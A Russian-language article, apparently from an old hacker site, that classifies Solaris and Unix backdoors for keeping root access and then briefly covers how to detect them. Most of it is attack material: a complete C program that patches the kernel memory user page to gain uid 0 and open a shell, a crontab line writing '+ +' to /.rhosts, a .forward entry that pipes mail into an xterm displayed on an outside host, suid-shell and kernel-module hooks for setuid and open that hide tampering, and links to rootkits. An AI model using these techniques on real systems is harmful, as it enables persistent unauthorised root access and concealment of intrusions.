BackDoors, их классификация и применение.

Проникнуть в чужую систему и добиться там root привелегий это еще полдела. Как и в известной игре в "Царя горы", завоеванное нужно удержать. Для этого в систему вносятся небольшие изменения, оставляются программы. Это и есть backdoors. Чтобы найти их в своей системе (А вдруг они там уже есть?! ;-), необходимо понимать способы их создания. В этом документе я не претендую на описание всех возможных backdoors. Вы можете предложить свой способ и пополнить коллекцию. Все названия относятся к OS Solaris. В других *NIX системах они аналогичны.

Классификация

Backdoors, дающие привилегии

Изменение атрибутов файлов

suid-bit (04000). При запуске программы, имеющей s бит система порождает процесс с эффективным uid равным uid хозяина программы. Таким образом, копия shell, лежащая в удаленном каталоге и имеющая sticky-bit, дает мгновенные права <хозяина> файла, например root.

Атрибуты специальных устройств

/dev/mem указывает на драйвер для доступа к памяти. Постановка на него атрибутов 0666 дает пользователю возможность прямой записи в память. Злоумышленник может найти proc_t структуру своего процесса и изменить его эффективный uid. Вот тому пример:

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<errno.h>
#include<strings.h>

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
        int argc;
        char *argv[], *envp[];
{
        int count, fd;
        long where, lseek();
        fd = open( "/dev/kmem",O_RDWR);
        if(fd < 0)
        {
                printf("Could not open /dev/kmem.\n");
                perror(argv);
                exit(10);
        }
        userlocation = address();
        where = lseek(fd, userlocation, 0);
        if(where != userlocation)
        {
                printf("Could not seek to user page.\n");
                perror(argv);
                exit(20);
        }
        count = read(fd, &userpage, sizeof(struct user));
        if(count != sizeof(struct user))
        {
                printf("Could not read user page.\n");
                perror(argv);
                exit(30);
        }
        printf(" Current uid is %d\n", userpage.u_ruid);
        printf(" Current gid is %d\n", userpage.u_rgid);
        printf(" Current euid is %d\n", userpage.u_uid);
        printf(" Current egid is %d\n", userpage.u_gid);
        userpage.u_ruid = 0;
        userpage.u_rgid = 0;
        userpage.u_uid = 0;
        userpage.u_gid = 0;
        where = lseek(fd, userlocation, 0);
        if(where != userlocation)
        {
                printf("Could not seek to user page.\n");
                perror(argv);
                exit(40);
        }
        write(fd, &userpage, ((char *)&(userpage.u_procp)) - ((char *)&userpage));
        execle("/bin/csh", "/bin/csh", "-i", (char *)0, envp);
}

# include <filehdr.h>
# include <syms.h>
# include <ldfcn.h>

# define LNULL ( (LDFILE *)0 )

long    address ()
{
        LDFILE  *object;
        SYMENT  symbol;
        long    idx;
        object = ldopen( "/unix", LNULL );
        if( object == LNULL ) {
                fprintf( stderr, "Could not open /unix.\n" );
                exit( 50 );
        }
        for ( idx=0; ldtbread( object, idx, &symbol) == SUCCESS; idx++ ) {
                if( ! strcmp( "_u", ldgetname( object, &symbol ) ) ) {
                  fprintf( stdout, "user page is at: 0x%8.8x\n", symbol.n_value );
                        ldclose( object );
                        return( symbol.n_value );
                }
        }
        fprintf( stderr, "Could not read symbols in /unix.\n");
        exit( 60 );
}

Изменение системных файлов
/var/spool/cron/crontabs/ Cron создает заказанные процессы в установленное время. Взломщик может добавить строку, создающую, например, .rhosts файл в полночь и уничтожающую его утром в файл заданий root.

/var/spool/cron/crontabs/root:
0 22 * * 6 <echo "+ +" /.rhosts>
0 6 * * 1 <rm -rf /.rhosts>
/etc/passwd, /etc/shadow - в этих файлах храниться информация о аккаунтах.
Взломщик может добавть в них свои записи или изменить аттрибуты этих файлов для внесения в произвольный момент своей информации.
/var/sadm/install/contents - этот файл хранит информацию о проинсталлированных в системе файлах, их размеры, атрибуты и контрольную сумму. Этот файл может быть изменен для сокрытия модификации программ.

Подмена программ, модификация библиотек
Программы, имеющие sticky-bit или часто выполняемые администратором системы, могут быть модифицированны для внесения изменений в систему при выполнении администратором. E.g:

...
if( !geteuid())
chmod(</var/tmp/.hidden_shell>, 0x4555);
...

Аналогичный кусочек может быть вставлен в одну библиотек, например libc. Библиотека libc.a разбирается на обьектные файлы. Необходимая функция модифицируется и компилируется новая динамическая библиотека.

Добавление модулей в ядро
Взломщик может добавить свой модуль в ядро и перехватить какой-либо из системных вызовов, скажем, SYS_setuid.

SYS_setuid Solaris 2.6
...
proc_t  p;
user_t  ut;
int my_setuid(uid_t uid)
{
        int rval;
        p = ttoproc(curthread);
        mutex_enter(&p-p_lock);
        up = prumap(p);
        rval = bcmp(up-u_comm, <devil>, 5);
        (void)prunmap(p);
        mutex_exit(&p-p_lock);
        if( rval) {
                rval = setuid(uid);
        } else {
                ...
        }
        return 0;
}
...

Теперь достаточно переименовать свою программу в devil* и вызвать setuid для получения uid = 0.

Специально оставленные программы

В системе могут быть оcтавлены файлы, такие как passwd крекеры, exploits для suid программ, etc. На не пропатченной системе с помощью exploitов могут быть получены root привелегии за счет выполнения кода в стеке программ имеющих sticky-bit.

Backdoors, дающие доступ к системе

Введение доверенных отношений
~user/.rhosts, /etc/host.equiv, ~user/.shosts (при установленном SSH) Эти файлы создают доверенные отношения в сети. К ним обращаются демоны in.rlogind, in.rshd, sshd, etc. В файлах оговорены пары компьютер-пользователь, которые могут входить в систему, минуя схему аутенфикации. Пара "+ +" позволяет вход любого пользователя с любого компьютера без пароля. Наличие файла /.rhosts {+ +} предоставляет возможность войти в систему как root или smtp (uid=0, gid=0). Ограничение на вход пользователя root только с консоли не запрещает удаленный вход пользователя smtp, a /usr/bin/.rhosts дает вход для пользователя "bin"
~user/.forward в этом файле хранится информация для перенаправления почты. Он может выглядеть, например, так:

\user
|>/usr/openwin/bin/xterm -display another.host.net:0"

Добавление или модификация демонов

Системные демоны обычно запускаются при старте системы из /etc/rc?.d/ файлов или при помощи мета-демона inetd. В эти файлы можно добавить старт своего демона. Для затруднения обнаружения посторонних соединений путем прослушивания сети или обмана firewalla чужая программа может использоваться UDP протокол или ICMP пакеты.

Backdoors, маскирующие активность в системе Подмена программ

Замена программ исправленными версиями используется для маскировки своей работы в системе, например, запуска ломалки паролей. Программы изменяются так, что бы не показывать активность определенного пользователя, запускаемых им процессов, использование дискового пространства. Наиболее известным из пакетов программ для замены системных утилит является RootKit. (RootKit SunOS: http://www.hackzone.ru/articles/doors/rootkitSunOS.tgz, RootKit Linux: http://www.hackzone.ru/articles/doors/rootkitLinux.tgz)

Введение модулей в ядро

Модули могут перехватывать системные вызовы обращения к файлам, получения информации о системе и сознательно искажать получаемую информацию. Например, при открытии файла </etc/inetd.conf> будет происходить открытие резервной копии этого файла спрятанной в системе. Таким образом, скрывается изменение системных файлов. SYS_open:

SYS_open   Solaris 2.6
...
static char     new_path = </var/tmp/.locks/.idx/inetd.conf>;
int my_open(char *fname, int fmode, int cmode)
{
        int rval;

        rval = bcmp(fname, </etc/inetd.conf>, 16);
        if( rval) {
                return(copen(fname, (int)(fmode-FOPEN), cmode));
    } else {
                return(copen(new_path, (int)(fmode-FOPEN), cmode));
    }
}
...

Определение backdoors

Хорошо спрятанный backdoor довольно трудно найти. Вопросы поиска и создания backdoors напоминают <спор брони и снаряда>.

Проверка файлов.

Разумным решением является сделать независимый список системных файлов с их атрибутами и контрольными суммами. Этот список создается после инсталляции новой системы и корректировки ее с помощью aset (SUNWast) или 'fix-modes' by Casper Dik (http://www.hackzone.ru/articles/doors/fix-modes.tgz). Проверку файлов в системе можно производить по cron или постоянным процессом с низким приоритетом. Контрольные суммы вычисляемые /bin/sum не являются надежной гарантией безопасности, т.к. легко подбираются. Можно порекомендовать для этих целей MD5. Существует ряд продуктов различных фирм, позволяющих просматривать систему на предмет <странных> файлов, дат, атрибутов.

Контроль сетевых соединений.

Узнать о постороннем доступе в систему можно, контролируя сетевой трафик и сканируя хосты на предмет открытых портов. Существует большое количество, как сканеров, так и систем контроля за сетевым трафиком. Лучшим решением всегда остается firewall ;-).

Поддержание системы в разумном порядке.

Системы со всеми инсталлированными патчами, отключенными неиспользуемыми сервисами существенно меньше подвержены разрушению, с разумно ограниченным доверием ;-)